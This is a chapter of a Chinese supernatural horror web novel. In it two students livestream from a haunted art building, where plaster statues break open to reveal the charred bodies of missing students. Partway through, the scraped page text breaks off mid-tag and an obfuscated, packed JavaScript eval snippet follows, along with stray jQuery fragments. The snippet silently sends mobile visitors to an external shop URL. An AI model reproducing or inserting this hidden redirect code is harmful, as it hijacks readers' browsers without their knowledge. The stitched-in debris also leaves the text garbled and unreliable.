章涵苑拿出那张被掩盖在一张油画下方的画,那是一张水墨画,画面和先前连筠明描述的出如一辙。
她将季瑾安的那幅画重新放入画框中,挂到墙壁上。
画被挂上去的一刹那,章涵苑脚下一空,凳子好像被人狠狠踹了一脚,她连同着凳子一道栽倒在地上。
“连筠明你踹我凳子干什么!”
章涵苑捂着脑袋爬起来,刚才拿一下使她的额头撞到了桌角,指尖已经渗出了些许血迹。
连筠明还在一边玩弄着他的闪光灯,和直播间还没睡觉的同学积极互动,被章涵苑这么一叫,一脸不解地看向她。
“我?我没事踹你的凳子干嘛,我还没活腻呢。”
他抓起手机看了看,发现几条弹幕飘过。
“那个凳子好像是自己倒的,会不会是太旧了不稳啊?”
“太刺激了主播,会不会是有鬼在推你们吧?”
连筠明关掉了几乎没什么用的弹幕,凳子坏掉是不可能的,鬼是肯定有的。他干脆搬来了一张桌子自己站了上去,细细地看了那幅画好一阵,却也没有看出什么端倪来。
章涵苑将捂着头的手松开,额头上被撞伤的伤口早就愈合了,只是血迹着实又些瘆人,要是这时候她打开直播间翻看一下弹幕的话,一定会发现他们已经被她的这副惨样炸开了锅。
章涵苑只是不在意地用外套袖子擦了擦脸,见连筠明搬来一张桌子,便顺手在抽屉里摸了一通,居然还真的摸到了点什么东西。
她将手伸出来,是两个充电宝和一部老人机,还有一个mp3,充电宝上边还连着充电线。
“电子产品?是那两个来这里偷偷充电的?”
据学校最后给出的结论是,失踪的学生其中两个住宿生是为了来空教室给违禁电子产品充电,时隔多年,竟还保留着当年的赃物。
她摁了摁充电宝,果不其然,没电。
再给mp3和老人机连上线,才想起来这栋楼已经断电了。
更可恶的是,两人身上都没带充电宝。
章涵苑之好把这堆废物扔到一边,再随随便便翻弄了一下这些画,踩死地上爬来爬去的蛊虫,转身就去拉门把手。
拉开门把手后,他们眼前顿时就被刺眼的光芒晃到睁不开眼。
一点一点适应了光亮后,他们发现整栋美术楼都通了电,往外看去,此刻正是白天,学生稀稀落落地行走在这栋楼中。
连筠明低头查看自己的手机,网络界面却显示无网络,原本的直播也因此断开。
他干脆把摄像设备丢到一边,换回自己的脸,跟着章涵苑走了出去。
刚走出那间画室,画室的门就自己重重的关上了。章涵苑猛的回过头,美术楼的走廊忽然变成了全封闭的,走廊两侧全是一模一样的铁门,分不清到底哪个才是刚才的404画室。
章涵苑往前走了两步,和原先走出广播站后的一样,看不到尽头,也感受不到自己在向前。
“又是阵法?”
“不,这里没有阵眼,不像是阵。”
连筠明随便挑了一扇门打开它,只见里面白花花一片全是人体雕塑和石膏,铁门向内打开的一瞬间,所有雕塑的头都齐齐转过来,无论是动物的还是人的眼睛,都好似在用最炽热的目光盯着他们,直到要将他们盯到肠子破膛而出为止。
连筠明打了个寒颤,就要将门拉回。
门绕着门轴向外转动,兴许是年久失修的原因,发出了一声又一声的“咯吱”声响。
“你在干嘛啊直接关上啊!”
章涵苑眼看着那些雕塑的面部表情越发诡异,眼神中藏着的贪婪几乎就要溢于言表,好像下一秒就要扑过来撕咬两人一样。
“我也想啊,但是这东西好像被卡住了,要费好大力气才拉的动……”
连筠明终于要把门合上之时,里面的东西也抓准时机来作妖了。他们有四肢的都猛的伸出手,一把抓住了本把手,硬生生的拦下来了即将要关上的门。
“这东西……力气还挺大嘛。”
连筠明尴尬地笑了笑,回头看向一脸冷漠的章涵苑。
章涵苑推开连筠明,自己拉了两下门,拉不动。再看向雕塑,他们现在都一动不动的,只是眼睛还在望向他们。
她伸出手,在他们的眼前晃了晃,没有反应。
眼睛当然不会有反应,因为他们只有眼白,那种强烈被注视的感觉,单纯只是由心底发出。
而他们的头部,全都轻微地转了一个角度,动作幅度不大,以常人的肉眼难以观察到,但他们是雕塑,是石膏,一点轻微的动作就能发出清脆的响声。
章涵苑没有后退,她继续对上雕塑脸上的眼睛,用手指抚过他们的脸。这些石膏的脸都出奇的光滑细腻,就像人的皮肤一样,只是温度稍微低了些。
她就这么和一堆雕塑对视了一阵,又从走廊边上捡了一只笔,给他们只有眼白的眼睛画上了瞳孔。
有了眼珠的雕塑看起来越发瘆人了。
“你……在干嘛?”
连筠明被盯的头皮发麻。
“好像不会动,看看点了睛会不会成精。”
被点上眼珠子的雕塑开始发出“咔咔”的响声,他们僵硬的肢体正在向两人靠近。
“你还说他们没动?”
连筠明往章涵苑的身后缩了缩。
所有的雕塑都拥挤在门口,门没有完全打开,隔着不宽不大的门缝,全是灰白色的脸。
“怎么?你现在知道怕了,刚进来的时候你可还是敢直接上手的啊?”
“我……这不是还开着直播嘛,不来点刺激的怎么行。”
雕塑挤到门口,也许是发现挤不下了,又都停下不动。
连筠明刚想松一口气,耳边又传来石膏裂开的声音。
章涵苑打开手机闪光灯,对准雕塑的脸,有些人形雕塑的脸看着还有几分眼熟,似乎是那些近期失踪的学生的脸。
“怎么这里也有……”
连筠明飞速翻出原先保存的失踪名单,再加上在画室里的素描和写生照,全部加起来正好是所有的失踪学生。
“也就是说,他把一部分学生换进了画里,还把另一部分学生封进了石膏里?”
雕塑沿着眼睛迅速弥漫出黑色的裂痕,裂痕眨眼间遍布雕塑全身,白色的石膏脱落在地上,裹在里面的是一副副被烧的漆黑的躯壳。
这下他们也看清了雕塑的真容,里面全是被烧焦的学生尸体。
这些死去的躯壳解开了石膏的束缚,一把拉开半掩着的铁门,乌泱泱地向两人涌去。
连筠明先是惊到张大了嘴巴,下巴都还没合上,等到反应过来的时候,已经被章涵苑拉着跑出了几里地,终于意识到发生了什么之后更是速度向上提升了不止一个档次。
“啊啊啊啊——这都是些什么东西啊!为什么他们跑的这么快!”
连筠明尖叫着跑在前头,章涵苑差点追不上他。
他一边跑一边回头看,觉得那些黑漆漆的东西还追不上来,寻求救命稻草一般的去拉两侧的门,一连拉了七扇门,却都没一个能打开的。
连筠明跑到冷汗直出,开始机械地去踹路过的每一扇门,章涵苑被他堵在后面,眼看着这群东西就要扑上来,她只好硬着头皮拿出带来防身的小刀刺过去。
“咔嚓——”
她的耳边传来一阵骨头裂开是声音。
她眯着眼睛看过去,刚才被她胡乱划了一刀的煤炭玩意,脑袋部分慢慢滑下来,重重的砸在地上。
章涵苑刚送下一口气,紧接着又有一只黑手抓过来,她下意识的抬起手格挡,眼前爆开一片血花,温热黏糊的液体被溅到她冰冷的脸上,手臂传开一阵微弱的刺痛,她条件反射地将手收回来甩了甩,感觉整条胳膊都麻了。
只见刚才被砍了脑袋的那个焦尸摇摇晃晃地走了两步,蹲下啦用手在地上到处摸索,最后翻找到了自己的脑袋,用手捡起来,安回脖子上。
连筠明终于踹开了最后一扇门,成群的焦尸已经要抓住章涵苑的手一顿乱啃。几张符纸恰好飞出,撞在焦尸的额头上,他们前后晃动了两下,终于停下了步伐。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781334|210104||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
章涵苑赶紧躲进了教室,没有劫后的心有余悸,只是看着自己不再冒血的胳膊出了神。
刚才那一幕似乎有些眼熟,好像在白洛歌入的那个阵里见过。
这个叫什么来着?赶尸?
但似乎又有说不上来的违和感,这些尸体不像是被人为操控着走的,赶尸人不会多次一举将被砍掉的头捡起来再用,这更像是他们还有自己的意识。
一关上门,那些焦尸就在外面“砰砰砰”的砸门,像不会感到累一样砸个不停。
“那些尸体……是那些失踪的学生的意识在操控吗?”
“也许吧,不过他们自我意识已经很混乱了,只剩下仇怨。”
连筠明在这间教室里左晃右晃,总觉得这里的排布有些熟悉。
地上散乱的画、被拧开的颜料……
这不就是刚才的404画室吗?怎么跑了这么久,又绕回来了?
“你有没有闻到什么味道?”
章涵苑拧了拧眉头,原本进来的404画室充斥着颜料的腥臭味,而这间教室却有着一股若有若无的清香味。
他们循着来到那副古画面前,刚才连筠明搭起来的桌子还在,只是上面多了一样东西。
一杯跑了茶的保温杯。
保温杯的杯盖被拧开放在一边,里面的水还在腾腾的冒着热气,越是靠近,那股白玉兰的清香味就越明显。
“这个有什么用?”
连筠明将保温杯拿起来左看右看,又盖上盖子晃了又晃,只觉得杯盖要被高温下急剧上升的空气气压给顶爆了。
“你别晃了,我感觉它好像要爆了。”
章涵苑无奈到,要是这人被炸开的杯盖打死了怎么办?
出其不意的是,这杯子晃了一阵,里面沉闷的水流声似乎变得清脆了,像是有什么硬物在里面上下击打杯盖和杯子。
章涵苑脸色一变,又想到这杯子里一直都有一股清香味,便一把夺过杯子,将其拧开,里面是三颗檀木珠子。
她将它们倒了出来,是干燥的,刚才的水全都一滴也看不见。
“怎么回事……”
她再拿起杯盖盖上杯子用力晃了晃,这次杯子却没有发出任何声音。
章涵苑将杯子扔到一边,抬头看向那副画,画中的人眼睛里却少了眼珠。
“哎,你知道画龙点睛吧?”
连筠明故作神秘道。
“少说废话,你知道什么?”
“很明显嘛,他想要我们帮她点上眼睛,具体为什么我不懂,但是这样也许可以让她再续光阴。”
“不如你去试试怎么样?就算是神女躯壳点睛,也可以得到神女的祝福吧。”
章涵苑白了他一眼,周围的颜料只有一种,就是那盒被打翻的红颜料。
缨虫依旧死了,被踩瘪后留下一层层红色的粉末和墨汁。
她用手去点了点颜料,让连筠明把画拿了下来,点在画中女子的眼睛处。
点睛后的画像越发诡谲,那歪歪扭扭的血红瞳孔就好像死不瞑目的怨灵在注视着他们。
此时门外的敲打声瞬间停了下来,屋内静谧的让人有些不安。
“现在……可以出去了吗?”
连筠明吞了吞唾沫。
“怎么你这个时候怕成这样?”
“他们长的真的很吓人啊……为什么跟煤炭一样,全都被拉去火化了吗。”
火?对了,白国公府曾经就是被一场大火烧没的,那么白夏也应该被烧成煤炭了吧?
“可能吧,或许他们是替白夏再被烧了一次吧。”
章涵苑拧开门把手走了出去,门外一片死寂。
连筠明也跟着走了出来,他后脚刚迈出门槛,身后的画室再度消失。
这次他们走出门,看见的是大地与天空。
他们现在在一楼,可以看到白天,脚下踩着的也不是板砖,而是学校里真实的泥土。
回头望去,美术楼已经隐没在人群中,他们看到的只是课间在打闹追逐的学生,再转回身去,面前的是熟悉的教学楼。